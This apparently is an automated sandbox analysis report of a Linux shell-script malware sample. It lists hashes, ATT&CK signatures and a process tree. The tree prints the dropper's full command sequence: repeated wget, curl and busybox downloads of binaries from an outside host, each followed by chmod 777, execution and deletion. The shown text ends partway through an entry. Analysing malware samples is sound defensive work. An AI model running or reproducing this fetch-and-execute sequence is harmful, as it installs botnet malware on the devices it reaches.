c926da30b268b7dcbb5512b480d408ecea628e3c6f5f96d5e45a66133f09a3ce

Analysis

max time kernel
71s
max time network
72s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/10/2024, 02:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c926da30b268b7dcbb5512b480d408ecea628e3c6f5f96d5e45a66133f09a3ce.sh
Size 10KB
Sample241027-dcymfasfqd
SHA256 c926da30b268b7dcbb5512b480d408ecea628e3c6f5f96d5e45a66133f09a3ce
MD5 8f6add65d41732c628b15429f288c9ed
SHA1 7653925d00191d0c465c27a2ec4629b239a7ed18
SHA512 9822610bf40aa2794b2d531ca757b371d0eff87dc60f77778095c63d86d51c56eefecde03fd235463e8f7c30e3cb53b3907b39fed8fe00a2aa05e2277ff1efe5
SSDEEP 96:YTvHRqikRLO+vrvPvLxpFCasUYqm34zeOeUIbI3Ikl/O+FLaSiLhahShnKmeLsgJ:YaRbO/dMYklZOcqNMYklYCV
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
816	chmod
863	chmod
898	chmod
912	chmod
809	chmod
850	chmod
905	chmod
982	chmod
736	chmod
780	chmod
877	chmod
891	chmod
919	chmod
989	chmod
729	chmod
802	chmod
870	chmod
926	chmod
940	chmod
968	chmod
996	chmod
947	chmod
954	chmod
975	chmod
749	chmod
884	chmod
933	chmod
961	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
740	curl
860	curl
922	wget
964	wget
974	busybox
744	busybox
812	wget
957	wget
703	wget
897	busybox
972	curl
739	wget
835	curl
880	wget
895	curl
911	busybox
985	wget
988	busybox
867	curl
902	curl
908	wget
929	wget
965	curl
755	wget
844	busybox
887	wget
918	busybox
936	wget
925	busybox
981	busybox
775	busybox
894	wget
909	curl
946	busybox
960	busybox
798	curl
813	curl
888	curl
992	wget
993	curl
883	busybox
930	curl
821	wget
873	wget
874	curl
876	busybox
881	curl
915	wget
937	curl
939	busybox
733	curl
801	busybox
808	busybox
862	busybox
890	busybox
805	wget
866	wget
904	busybox
932	busybox
971	wget
950	wget
951	curl
967	busybox
721	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW	curl
File opened for modification	/tmp/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz	curl
File opened for modification	/tmp/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf	curl
File opened for modification	/tmp/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4	curl
File opened for modification	/tmp/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf	curl
File opened for modification	/tmp/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH	curl
File opened for modification	/tmp/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c	curl
File opened for modification	/tmp/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn	curl
File opened for modification	/tmp/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz	curl
File opened for modification	/tmp/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg	curl
File opened for modification	/tmp/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz	curl
File opened for modification	/tmp/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW	curl
File opened for modification	/tmp/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4	curl
File opened for modification	/tmp/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ	curl
File opened for modification	/tmp/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO	curl
File opened for modification	/tmp/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO	curl
File opened for modification	/tmp/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz	curl
File opened for modification	/tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV	curl
File opened for modification	/tmp/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH	curl
File opened for modification	/tmp/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c	curl
File opened for modification	/tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV	curl
File opened for modification	/tmp/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e	curl
File opened for modification	/tmp/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ	curl
File opened for modification	/tmp/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e	curl
File opened for modification	/tmp/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn	curl
File opened for modification	/tmp/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg	curl
File opened for modification	/tmp/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz	curl
File opened for modification	/tmp/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz	curl

/tmp/c926da30b268b7dcbb5512b480d408ecea628e3c6f5f96d5e45a66133f09a3ce.sh
/tmp/c926da30b268b7dcbb5512b480d408ecea628e3c6f5f96d5e45a66133f09a3ce.sh
1⤵
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:701
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - System Network Configuration Discovery
  PID:703
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  PID:728
- /bin/chmod
  chmod 777 J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  ./J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - Executes dropped EXE
  PID:730
- /bin/rm
  rm J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  PID:731
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  PID:732
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  PID:735
- /bin/chmod
  chmod 777 s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  ./s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  PID:738
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - System Network Configuration Discovery
  PID:739
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - System Network Configuration Discovery
  PID:744
- /bin/chmod
  chmod 777 WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  ./WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  PID:754
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - System Network Configuration Discovery
  PID:755
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - System Network Configuration Discovery
  PID:775
- /bin/chmod
  chmod 777 PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  ./PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  PID:784
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:798
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - System Network Configuration Discovery
  PID:801
- /bin/chmod
  chmod 777 Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  ./Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  PID:804
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - System Network Configuration Discovery
  PID:805
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - System Network Configuration Discovery
  PID:808
- /bin/chmod
  chmod 777 KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  ./KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  PID:811
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - System Network Configuration Discovery
  PID:812
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  PID:815
- /bin/chmod
  chmod 777 2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  ./2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm 2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  PID:820
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - System Network Configuration Discovery
  PID:821
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - System Network Configuration Discovery
  PID:844
- /bin/chmod
  chmod 777 vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  ./vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  - System Network Configuration Discovery
  PID:862
- /bin/chmod
  chmod 777 PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  ./PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  PID:865
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  - System Network Configuration Discovery
  PID:866
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  PID:869
- /bin/chmod
  chmod 777 RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  ./RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  PID:872
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  - System Network Configuration Discovery
  PID:876
- /bin/chmod
  chmod 777 eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  ./eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  PID:879
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  - System Network Configuration Discovery
  PID:880
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  - System Network Configuration Discovery
  PID:883
- /bin/chmod
  chmod 777 M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  ./M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  PID:886
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  - System Network Configuration Discovery
  PID:887
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  - System Network Configuration Discovery
  PID:890
- /bin/chmod
  chmod 777 g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  ./g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  PID:893
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  - System Network Configuration Discovery
  PID:894
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  - System Network Configuration Discovery
  PID:897
- /bin/chmod
  chmod 777 gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  ./gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - System Network Configuration Discovery
  PID:904
- /bin/chmod
  chmod 777 2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  ./2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm 2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  PID:907
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - System Network Configuration Discovery
  PID:908
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - System Network Configuration Discovery
  PID:911
- /bin/chmod
  chmod 777 vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  ./vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  PID:914
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  - System Network Configuration Discovery
  PID:915
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  - System Network Configuration Discovery
  PID:918
- /bin/chmod
  chmod 777 PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  ./PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  PID:921
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  - System Network Configuration Discovery
  PID:922
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  - System Network Configuration Discovery
  PID:925
- /bin/chmod
  chmod 777 RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  ./RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
  2⤵
  PID:928
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  - System Network Configuration Discovery
  PID:929
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  - System Network Configuration Discovery
  PID:932
- /bin/chmod
  chmod 777 eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  ./eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
  2⤵
  PID:935
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  - System Network Configuration Discovery
  PID:936
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  - System Network Configuration Discovery
  PID:939
- /bin/chmod
  chmod 777 M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  ./M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
  2⤵
  PID:942
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  - System Network Configuration Discovery
  PID:946
- /bin/chmod
  chmod 777 g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  ./g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
  2⤵
  PID:949
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  - System Network Configuration Discovery
  PID:950
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:951
- /bin/busybox
